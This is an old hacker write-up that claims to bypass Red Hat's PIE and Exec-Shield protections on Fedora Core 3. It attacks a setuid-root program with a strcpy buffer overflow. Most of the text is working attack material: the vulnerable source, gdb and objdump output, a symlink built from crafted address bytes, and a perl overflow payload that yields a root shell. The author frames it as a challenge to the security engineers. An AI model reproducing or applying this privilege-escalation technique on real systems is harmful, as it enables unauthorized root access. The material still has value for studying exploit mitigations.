Solution To Red Hat PIE protection (Fr0z3n : zarul_shahrin at yahoo.com) I read a great article written by Vangelis about exploiting local vulnerability under Fedora 2. It was a great article but our Redhat Security Expert, Arjan van de Ven said that the author did not compile the vulnerable program into PIE executable: "2) You did not make your application a PIE executable (you can do so with gcc -fpie -pie vul.c -o vul ). PIE executables are in themselves randomized, and in addition will ignore the prelink "fixing" of addresses, and thus making it near impossible to find the address of the app you want to exploit[1], unless you do it from the same debugging session (but if you can attach a debugger you fully own the app anyway) Most (if not all) network facing daemons in FC are compiled as PIE for this reason, and we're in progress to extending that to other "sensitive" binaries" Take note of this part: "PIE executables are in themselves randomized, and in addition will ignore the prelink "fixing" of addresses, and thus making it near impossible to find the address of the app you want to exploit.." Did he say the words "Near Impossible"? Izzit really "near impossible"? Let us check it out now, first of all, this is the vuln program..just the same as the one in Vengelis paper: ---------------------------------vul.c---------------------------------------- int main(int argc, char *argv[]) { char buffer[256]; strcpy(buffer,argv[1]); return 0; } ------------------------------------------------------------------------------ Btw, all the work below was done under Fedora 3.So any improvement from the Fedora 2 would be in this version. I started this work exactly after Installing it which of course took a longer time than finding out how to exploit this program. So no patch applied. [zarul at localhost exercise]$ cat /proc/version Linux version 2.6.9-1.667 (bhcompile at tweety.build.redhat.com) (gcc version 3.4.2 20041017 (Red Hat 3.4.2-6.fc3)) #1 Tue Nov 2 14:41:25 EST 2004 [zarul at localhost exercise]$ ok...now let us compile our "Vulnerable" program , I will compile the vulnerable program as Arjan van de Ven said: [zarul at localhost exercise]$ gcc -fpie -pie vul.c -o vul [zarul at localhost exercise]$ [root at localhost exercise]# chown root vul [root at localhost exercise]# chgrp root vul [root at localhost exercise]# chmod 4755 vul [root at localhost exercise]# ls -la total 40 drwsr-xr-x 2 zarul zarul 4096 Feb 9 14:20 . drwx------ 3 zarul zarul 4096 Feb 8 20:48 .. -rw-r--r-- 1 root root 564 Feb 9 113:15 data -rw-r--r-- 1 root root 556 Feb 9 110:31 data~ -rwxrwxr-x 1 zarul zarul 5191 Feb 8 220:48 exploit1 -rw-rw-r-- 1 zarul zarul 100 Feb 8 220:48 exploit1.c -rwsr-xr-x 1 root root 5441 Feb 9 114:20 vul -rw-rw-r-- 1 zarul zarul 113 Feb 8 118:39 vul.c Ok..Did I do the correct way bro? ok now, let us do some debugging.. [root at localhost exercise]# gdb ./vul GNU gdb Red Hat Linux (6.1post-1.20040607.41rh) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"...(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b main Breakpoint 1 at 0x5d4 (gdb) r Starting program: /home/zarul/exercise/vul (no debugging symbols found)...Breakpoint 1 at 0xf6fff5d4 (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0xf6fff5d4 in main () from /home/zarul/exercise/vul (gdb) disas execl Dump of assembler code for function execl: 0xf6f3f720 : push %ebp 0xf6f3f721 : mov %esp,%ebp 0xf6f3f723 : lea 0x10(%ebp),%ecx 0xf6f3f726 : push %edi 0xf6f3f727 : push %esi 0xf6f3f728 : push %ebx 0xf6f3f729 : sub $0x1038,%esp 0xf6f3f72f : mov 0xc(%ebp),%eax 0xf6f3f732 : movl $0x400,0xfffffff0(%ebp) 0xf6f3f739 : lea 0x1b(%esp),%edx 0xf6f3f73d : and $0xfffffff0,%edx 0xf6f3f740 : call 0xf6ecac71 <__i686.get_pc_thunk.bx> 0xf6f3f745 : add $0x998af,%ebx 0xf6f3f74b : mov %eax,(%edx) 0xf6f3f74d : test %eax,%eax 0xf6f3f74f : mov %ecx,0xffffffe8(%ebp) 0xf6f3f752 : movl $0x1,0xffffffec(%ebp) 0xf6f3f759 : je 0xf6f3f7e0 0xf6f3f75f : movl $0x1a,0xffffffe0(%ebp) 0xf6f3f766 : jmp 0xf6f3f783 0xf6f3f768 : addl $0x8,0xffffffe0(%ebp) 0xf6f3f76c : mov 0xffffffe8(%ebp),%edi 0xf6f3f76f : mov 0xffffffec(%ebp),%ecx 0xf6f3f772 : addl $0x4,0xffffffe8(%ebp) 0xf6f3f776 : mov (%edi),%eax 0xf6f3f778 : mov %eax,(%edx,%ecx,4) 0xf6f3f77b : inc %ecx ---Type to continue, or q to quit--- .... wtf? Where is the NULL pointer dereference protection? Is the protection ON?Let me check it 1st.. [zarul at localhost exercise]$ cat /proc/sys/kernel/exec-shield 2 [zarul at localhost exercise]$ the echoed value is 2..what it means? Let us check the latest "Exec-Shield" Document.It says that: "2 This option is similar to 1,but all binaries which do not have a PTGNUSTACK entry are executed without executable stack. This option is useful to prevent introducing problems by importing binaries.Every unmarked binary which does need an executable stack would have to be treated with execstack add the program header entry." so should be ok right? let us check exec-shield-randomize now.. [zarul at localhost exercise]$ cat /proc/sys/kernel/exec-shield-randomize 1 [zarul at localhost exercise]$ The value is 1.So it means that the stack addresses etc.. are randomized. "- 1 — Randomized VM mapping is enabled" let us check the last thing... [zarul at localhost exercise]$ eu-readelf -l vul | grep GNU_STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x000000 0x000000 RW 0x4 [zarul at localhost exercise]$ from the documentation, the present of the flag value RW means the stack is not executable. So,everything sounds secure right?But I don't think so! After I found the execl+3 address, I realized about something, so I compiled another vulnerable program called vul2 but this time without the PIE option. Then I display the contents of section headers with objdump: [zarul at localhost exercise]$ objdump -h vul2 vul2: file format elf32-i386 Sections: Idx Name Size VMA LMA File off Algn 0 .interp 00000013 08048114 08048114 00000114 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 1 .note.ABI-tag 00000020 08048128 08048128 00000128 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 2 .hash 0000002c 08048148 08048148 00000148 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 3 .dynsym 00000060 08048174 08048174 00000174 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 4 .dynstr 00000060 080481d4 080481d4 000001d4 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 5 .gnu.version 0000000c 08048234 08048234 00000234 2**1 CONTENTS, ALLOC, LOAD, READONLY, DATA 6 .gnu.version_r 00000020 08048240 08048240 00000240 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 7 .rel.dyn 00000008 08048260 08048260 00000260 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 8 .rel.plt 00000010 08048268 08048268 00000268 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 9 .init 00000017 08048278 08048278 00000278 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 10 .plt 00000030 08048290 08048290 00000290 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 11 .text 000001a4 080482c0 080482c0 000002c0 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 12 .fini 0000001a 08048464 08048464 00000464 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 13 .rodata 00000008 08048480 08048480 00000480 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 14 .eh_frame 00000004 08048488 08048488 00000488 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 15 .ctors 00000008 0804948c 0804948c 0000048c 2**2 CONTENTS, ALLOC, LOAD, DATA 16 .dtors 00000008 08049494 08049494 00000494 2**2 CONTENTS, ALLOC, LOAD, DATA 17 .jcr 00000004 0804949c 0804949c 0000049c 2**2 CONTENTS, ALLOC, LOAD, DATA 18 .dynamic 000000c8 080494a0 080494a0 000004a0 2**2 CONTENTS, ALLOC, LOAD, DATA 19 .got 00000004 08049568 08049568 00000568 2**2 CONTENTS, ALLOC, LOAD, DATA 20 .got.plt 00000014 0804956c 0804956c 0000056c 2**2 CONTENTS, ALLOC, LOAD, DATA 21 .data 0000000c 08049580 08049580 00000580 2**2 CONTENTS, ALLOC, LOAD, DATA 22 .bss 00000004 0804958c 0804958c 0000058c 2**2 ALLOC 23 .comment 00000126 00000000 00000000 0000058c 2**0 CONTENTS, READONLY [zarul at localhost exercise]$ Ok,Now see the contents of section headers of our vulnerable program compiled with the PIE option: [zarul at localhost exercise]$ objdump -h vul vul: file format elf32-i386 Sections: Idx Name Size VMA LMA File off Algn 0 .interp 00000013 00000114 00000114 00000114 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 1 .note.ABI-tag 00000020 00000128 00000128 00000128 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 2 .hash 000000a4 00000148 00000148 00000148 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 3 .dynsym 00000160 000001ec 000001ec 000001ec 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 4 .dynstr 00000093 0000034c 0000034c 0000034c 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 5 .gnu.version 0000002c 000003e0 000003e0 000003e0 2**1 CONTENTS, ALLOC, LOAD, READONLY, DATA 6 .gnu.version_r 00000030 0000040c 0000040c 0000040c 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 7 .rel.dyn 00000030 0000043c 0000043c 0000043c 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 8 .rel.plt 00000018 0000046c 0000046c 0000046c 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 9 .init 00000017 00000484 00000484 00000484 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 10 .plt 00000040 0000049c 0000049c 0000049c 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 11 .text 0000020c 000004dc 000004dc 000004dc 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 12 .fini 0000001a 000006e8 000006e8 000006e8 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 13 .rodata 00000008 00000704 00000704 00000704 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 14 .eh_frame 00000004 0000070c 0000070c 0000070c 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 15 .ctors 00000008 00001710 00001710 00000710 2**2 CONTENTS, ALLOC, LOAD, DATA 16 .dtors 00000008 00001718 00001718 00000718 2**2 CONTENTS, ALLOC, LOAD, DATA 17 .jcr 00000004 00001720 00001720 00000720 2**2 CONTENTS, ALLOC, LOAD, DATA 18 .dynamic 000000c8 00001724 00001724 00000724 2**2 CONTENTS, ALLOC, LOAD, DATA 19 .got 00000010 000017ec 000017ec 000007ec 2**2 CONTENTS, ALLOC, LOAD, DATA 20 .got.plt 00000018 000017fc 000017fc 000007fc 2**2 CONTENTS, ALLOC, LOAD, DATA 21 .data 0000000c 00001814 00001814 00000814 2**2 CONTENTS, ALLOC, LOAD, DATA 22 .bss 00000004 00001820 00001820 00000820 2**2 ALLOC 23 .comment 00000126 00000000 00000000 00000820 2**0 CONTENTS, READONLY [zarul at localhost exercise]$ Ahaks!!Can you see those NULL bytes?So does it mean that we can't use the method used by Vangelis in his paper?My answer is YES!It is still possible to use that method! But,as some of you might ask,HOW? Ok,this is how we are going to do it... As you guys know, with those NULL bytes,we can't manipulate the _GLOBAL_OFFSET_TABLE_ as Vangelis did in his paper,but it doesn't mean we can't manipulate other parts! Remember!As an exploit writer,we must always be creative when writing our exploits as we need to be "one-step-ahead" of those people that call themselves as "security expert"! So, after playing around with the program I found a lot of places that we can manipulate and this is one of them: (gdb) x/8x 0xf6fd9d60 0xf6fd9d60 : 0x0000001f 0x00000003 0xf6fd90c0 0xf6fd76b4 0xf6fd9d70 : 0x00000000 0x00000000 0x00000000 0x00000000 Yehaaa!!!! and now this will be our file name.. (gdb) x/2x 0xf6fd90c0 0xf6fd90c0 <__libc_malloc_initialized>: 0xffffffff 0x00000003 (gdb) Yippies! Let us make a symbolic link now! [zarul at localhost exercise]$ ln -ns /home/zarul/exercise/exploit1 "`perl -e 'print "\xff\xff\xff\xff\x03"'`" [zarul at localhost exercise]$ Ok..Are you ready kids? We will now exploit the program! [zarul at localhost exercise]$ ./vul `perl -e 'print"A"x264,"\x60\x9d\xfd\xf6\x23\xf7\xf3\xf6"'` sh-3.00# id uid=0(root) gid=500(zarul) groups=500(zarul) sh-3.00# Oh My Goat! We defeated the improved "exec-barrier" for the second time! Well, I don't know what Arjan van de Ven is going to say after he reads this paper but I'm going to be honest..I know that you are going to make "just-another-fix" that will decrease the program perfomance.But all I can say..you are just wasting your time cause eventually someone will come out with a solution. Even now I believe there are more ways to defeat this protection and this is just one of them. Who knows,maybe there is even a way to remote exploit a vulnerable program! But,I don't think its worth to talk about it yet. So, why not we use this valuable time to educate people on how to write a secure program instead of wasting our time with junks? Think about it, How many people you think will install this kind of protection that will surely decrease the system performance and at the same time there is no gurantee that it will work as promised. I know this paper might sound lame for some people, so for comments and critism: zarul_shahrin at yahoo.com ( Btw, Sorry for my poor English) Greetz: CMN == One of the people out there that I respect the most. Vangelis == For such a great paper!I wish that I will have the chance to know you. Beist == I don't know who you really are but I think you should be an intelligent person too. Linus Torvalds == For creating such a wonderful OS . Red Hat == I'll still use this distro no matter what happen .. Some of the Kiddies out there == That started to learn how to be something "REAL". I believe some of you guys might be "someone" one day.So stop defacing and learn programming. References: How to Exploit Overflow Vulnerability Under Fedora Core By Vangelis. exec-shield description: http://people.redhat.com/mingo/exec-shield/ANNOUNCE-exec-shield (OLD) http://www.redhat.com/f/pdf/rhel/WHP0006US_Execshield.pdf description of security enhancements in RHEL/FC http://people.redhat.com/drepper/nonselsec.pdf - EOF -